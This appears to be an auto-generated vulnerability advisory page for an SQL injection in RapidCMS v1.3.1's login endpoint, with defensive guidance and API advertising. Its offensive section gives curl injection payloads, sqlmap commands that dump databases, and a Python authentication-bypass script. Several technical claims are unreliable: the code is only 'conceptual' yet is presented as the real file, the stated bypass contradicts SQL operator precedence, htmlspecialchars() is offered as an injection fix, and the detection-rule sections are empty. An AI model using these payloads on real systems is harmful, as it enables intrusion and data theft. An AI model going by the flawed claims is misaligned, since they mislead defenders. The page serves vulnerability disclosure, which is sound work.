CVE-2024-44838
Executive Summary
CVE-2024-44838 is a critical SQL injection vulnerability discovered in RapidCMS v1.3.1, specifically within the /resource/runlogin.php endpoint. The vulnerability allows an unauthenticated attacker to inject arbitrary SQL commands via the username parameter, potentially leading to complete database compromise, data exfiltration, and lateral movement within the network. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the actual severity is critical (9.8). No official patch or advisory has been released by the vendor, making this a zero-day threat for all instances running RapidCMS v1.3.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
RapidCMS is a PHP-based content management system. The vulnerability exists in the core login functionality, not in any third-party package. However, administrators should audit all dependencies (e.g., PHP extensions, database drivers) for known vulnerabilities. The lack of a patch means the supply chain risk is elevated—any deployment of RapidCMS v1.3.1 is directly exploitable.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full database read access.
- Integrity (I): High (H) – Ability to modify or delete data.
- Availability (A): High (H) – Potential to disrupt database service.
Threat Level: Critical (9.8) – Immediate action required.
Deep Dive & Mechanics
The vulnerability resides in the runlogin.php script, which handles user authentication. The username parameter is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can inject SQL commands by submitting a crafted username value.
Vulnerable Code Snippet (conceptual):
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
The lack of input validation allows an attacker to break out of the string context and execute arbitrary SQL. For example, submitting admin' OR '1'='1 as the username would result in:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '...'
This bypasses authentication entirely.
Vulnerable vs. Patched Code
Vulnerable Code (runlogin.php):
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
// login success
} else {
// login failed
}
?>
Patched Code (recommended):
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
// login success
} else {
// login failed
}
?>
The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from data.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Environment:
- Target: RapidCMS v1.3.1 running on Apache/Nginx with PHP and MySQL.
- Attacker: Kali Linux with sqlmap and Burp Suite.
Exploitation Steps:
Identify the vulnerable endpoint:
curl -X POST http://target.com/resource/runlogin.php -d "username=admin&password=test"Manual SQL injection:
curl -X POST http://target.com/resource/runlogin.php -d "username=admin' OR '1'='1' -- -&password=test"Automated exploitation with sqlmap:
sqlmap -u "http://target.com/resource/runlogin.php" --data="username=admin&password=test" --batch --dumpExtract database:
sqlmap -u "http://target.com/resource/runlogin.php" --data="username=admin&password=test" --batch --dbs
Proof of Concept (PoC) Script:
import requests
target = "http://target.com/resource/runlogin.php"
payload = {"username": "admin' OR '1'='1' -- -", "password": "test"}
response = requests.post(target, data=payload)
if "Login successful" in response.text:
print("[+] SQL injection successful - authentication bypassed")
else:
print("[-] Exploit failed")
Blue Team (Defensive)
Detection & Response:
- Monitor HTTP POST requests to
/resource/runlogin.phpfor unusualusernameparameters containing SQL keywords (e.g.,OR,AND,UNION,SELECT). - Enable database query logging to detect anomalous SQL statements.
- Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
Honeypot Setup:
- Deploy a decoy RapidCMS instance with enhanced logging to capture attacker behavior.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/resource/runlogin.phpwithusernamecontaining SQL metacharacters (',",--,#,/*). - Outbound database connections from the web server to unusual IPs (data exfiltration).
- HTTP POST requests to
- File IOCs:
- Modified
runlogin.phpfile (if attacker uploads a webshell). - Suspicious files in
/resource/directory (e.g.,cmd.php,shell.php).
- Modified
- Log IOCs:
- Database error logs showing syntax errors near
' OR '1'='1'. - Web server access logs with
%27(URL-encoded single quote) in theusernameparameter.
- Database error logs showing syntax errors near
Detection Engineering
YARA Rule
Sigma Rule
Suricata Rule
Remediation & Mitigation
Immediate Actions:
- Isolate affected systems: Disconnect RapidCMS instances from the internet until patched.
- Apply virtual patching: Use a WAF to block SQL injection patterns targeting
/resource/runlogin.php. - Implement input validation: Sanitize the
usernameparameter usingfilter_var()orhtmlspecialchars().
Long-term Fix:
- Replace all dynamic SQL queries with prepared statements or parameterized queries.
- Upgrade to a patched version of RapidCMS (if/when available) or migrate to a supported CMS.
Compensating Controls:
- Enforce least privilege for database accounts used by the application.
- Enable database audit logging and monitor for suspicious queries.
- Conduct regular security code reviews and penetration testing.
Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.
Security researchers use these queries on Shodan.io to find vulnerable systems globally.
Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.